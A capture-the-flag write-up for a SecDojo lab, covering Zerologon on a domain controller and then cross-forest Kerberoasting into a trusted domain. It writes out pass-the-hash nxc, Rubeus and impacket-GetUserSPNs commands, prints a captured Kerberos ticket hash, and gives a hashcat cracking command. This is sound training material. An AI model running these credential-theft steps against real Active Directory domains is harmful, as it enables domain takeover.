root▌

nighthawk - SecDojo - EggShell

Description

Zerologon on the first host and a cross-forest kerberoast into the trusted domain — the interesting part is making the referral ticket work.

10.8.0.100 — Zerologon

Checking for zerologon

Exploiting it

Some files pulled off the box before moving on.

Enumerating .101

Cross-forest kerberoasting

nxc ldap 10.8.0.101 -d lab.secdojo.local -u Administrator -H a6cf4e66d7fba60a999debe07bc31a5d --query "(objectClass=user)" "sAMAccountName memberOf servicePrincipalName pwdLastSet"

The query lists accounts holding SPNs; MainSvc in caught.local is the one worth roasting.

Get-DomainUser -SPN -Domain caught.local | select SamAccountName
.\Rubeus.exe asktgs /ticket:lab.kirbi /service:krbtgt/CAUGHT.LOCAL /dc:10.8.0.100 /outfile:referral.kirbi /nowrap
 .\Rubeus.exe kerberoast /spn:http/svc.caught.local /ticket:referral.kirbi /dc:10.8.0.101 /outfile:caught_rubeus.txt

What actually worked

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/EggShell]
└─$ impacket-GetUserSPNs 'lab.secdojo.local/Administrator' -hashes ':a6cf4e66d7fba60a999debe07bc31a5d' -target-domain caught.local -dc-ip 10.8.0.101 -request -outputfile hash_caught.txt

Heads-up: Add those hostname to /etc/hosts file so you don’t face error.

$krb5tgs$23$*MainSvc$CAUGHT.LOCAL$caught.local/MainSvc*$6c7cc11252bbc4e8c749df460bba81b2$074362b4c95f4e456ecdf4e412fa3be859c26642690447cf601cacb092326e7a733127ab6c42186b47cbf124e659090294d66f78ecfc0c5ac1604d09dbf125134f26fc6346132e152561d0603683d015fd835fe26dcbba103b372fdf65fe029077e03bb7cf16db0fbf30e30c12719f6e2412866c7fd2af116cd634739822850461d8f1fbbb361e7c38b6adf302b3f57a0552c7b194a61142a051dca5c74dc829637e46d6d0e382002565b3a007847f85649c3aba05bc3089223372e529e495a68e5cd579b5348210f94de8ebfedf3b67b8208ab8b09276098f0a350f070c7c98d2d82d8275abab57f3f15b6ef4b744bb6c2c2c5b23b56944db979cef15386a8ce3852c0df45a510622931aaeb155d53638ff37a1090f94d5bc2fd74056d907a0fa849902a8c334ff3df50e107aacf21837631ceabff412fb6064d9492aa5aea4ae1e7381f882c24594ef848b9277eecd3bdaf0734751a4919d1652d3da39bc7985ab214e079cf65ea1e1736b8915b96c3d5bc9bd1eae49e5a0a6059f7b67ccb5e12f0854de5eee85c2de629ce2cd677aff6a310a703b6e7750b39082cda15159019c3816c8ea2d7532130247471e236838502bc0491d10142cdc3bdfd242e32e6c3820bdb34294223fe4f97f938a103f98d8683979cd3a580d20320427a59993df750e1a9746dfab4de34a9566add4a9f75896634a9551e52de6bba0e1f8e15c225670c5c7710c864fe14d93dd3f832e34da6802f2fe0686f65bef8985a790184774be1c77c29313f18f92f770381b67bd59d67af1874eb7c5306914658573808091ef23b73ed6d4e26985f754012aeceb087bcaf0cb0b20f2f356e7485759bc6cf5e261536c069566f7b5b7ff54d2fa7fb334ed70b7434248b971db496a6fb15ba88409b5cc8883a5e4f2a076f8641925b176e450a9fe58ee5d930b80c6a2a5744950694d208dcadcd45cb8fc007edc7c8a7e608880fa88f5bd836913c0c58a8616c477e0fc5cfbea18da0cd030ea9812d578f1d02dc641999fccd395ef8e3d21959e9068865d774fa95419f57f6c52a2d91cc064aeb89f272de2a9012d952350f9f132da7f8affc2ca3e0e38649757ac29c9e5c843d2d0c1f1836ebcc10b27521c634e0e915a0fae1d5e06be72bd8ee31f2c615258ddb0112fa7bba9aa21a18af503940c05fed88599d9d8985a132967795bccb884b9cdf7002915ac0ba091395a1e10778ec24bdb9f7c1773fd0785b557bd9853c51828a692cfc1eb99c0b53f24f0cf584955b99346e3a4db34ca48f17638bffdc2bcc01f6e281e39a3293b1bdba435cd520c6ee399f9b4f6b17cc7320b13dc0ca616928e0ed6b0710da19d7c6a65ea0682c3798dfd6b914fab7453213c2c3456f5cd10e4d629d56bab9540a15d1cf3769950e541b8a85336e89979ad5af377710aac72a96687727bd0a313f966ec679d320caea6790e32a0569af250e73201e5504e99b78366574514bec564fecb6834d5b209e3a19610346840555d435e855e4687

With the referral ticket, GetUserSPNs returns the kerberoast hash for MainSvc:

Cracking the hash

hashcat -m 13100 with a case rule cracks it — the plain password is not in rockyou unmodified.

 hashcat -m 13100 hash_caught.txt /usr/share/wordlists/rockyou.txt -r cap.rule

Domain admin on caught.local.

Takeaways

  • Zerologon still lands wherever the DC was never patched.
  • Cross-forest kerberoasting needs a referral ticket (asktgs to krbtgt/OTHER.DOMAIN) before the SPN request.
  • impacket-GetUserSPNs -target-domain does the same in one command, but only once /etc/hosts resolves the trusted DC.